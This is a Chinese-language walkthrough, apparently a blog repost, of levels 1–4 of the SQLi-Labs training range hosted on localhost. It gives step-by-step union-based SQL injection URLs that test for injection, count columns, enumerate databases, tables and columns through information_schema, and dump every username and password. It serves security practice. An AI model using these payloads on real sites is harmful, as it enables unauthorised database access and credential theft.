当前位置: 代码迷 >> 综合 >> SQLI-LAB靶场 基于union报错注入 (1~4)
  详细解决方案

SQLI-LAB靶场 基于union报错注入 (1~4)

热度:26   发布时间:2023-11-25 01:33:53.0

第一关

首先在第一关的配置文件中添加

echo $sql;

echo "<br>";

这样可以在页面上显示sql语句(在每一关闯关的时候都记得修改配置文件,以后就不再提醒了) 是为了刚方便理解哈

 

配置好之后我们打开phpstudy,在火狐浏览器中打开sql的第一关。

闯关步骤如下

  • 1. http://127.0.0.1/sqli/Less-1/?id=1'   查看是否有注入
  • 2.   http://127.0.0.1/sqli/Less-1/?id=1' order by 3--+   查看有多少列
  • 3.  http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3--+ 查看哪些数据可以回显
  • 4. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database()--+  查看当前数据库
  • 5. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+  查看数据库security,或者是:   http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
  • 6. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,或者是:http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的表(此处需要将security变成16进制数字)
  • 7. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息,或者是:http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所以的列信息
  • 8. http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+ 查询一个账号和密码,或者是:http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 直接可以得到所有的账号和密码,并且使用~符号进行分割。

 按照上述步骤最后得到所有的用户名和密码。

函数contact ws('~',A,B)的意思是一个用户名一个密码的显示,中间以波浪号隔开。

 

 第二关

  第二关和第一关相似

 闯关步骤如下:

  • 1.  http://127.0.0.1/sqli/Less-2/?id=1'     查看是否有注入
  • 2.   http://127.0.0.1/sqli/Less-2/?id=1 order by 3--+   查看有多少列
  • 3.  http://127.0.0.1/sqli/Less-1/?id=-1 union select 1,2,3--+ 查看哪些数据可以回显
  • 4. http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 查看所有数据库
  • 5. http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
  • 6.  http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
  • 7. http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。

  

第三关

  • 1. http://127.0.0.1/sqli/Less-3/?id=1' 查看是否有注入
  • 2. http://127.0.0.1/sqli/Less-3/?id=1') order by 3--+ 查看有多少列
  • 3. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(schema_name) from information_schema.schemata --+ 查看所有数据库
  • 6. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
  • 7. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
  • 8.  http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。

 第四关

  • 1. http://127.0.0.1/sqli/Less-4/?id=1"查看是否有注入
  • 2. http://127.0.0.1/sqli/Less-4/?id=1") order by 3--+查看有多少列
  • 3. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(schema_name) from information_schema.schemata --+查看所有数据库
  • 6. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
  • 7. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
  • 8. http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。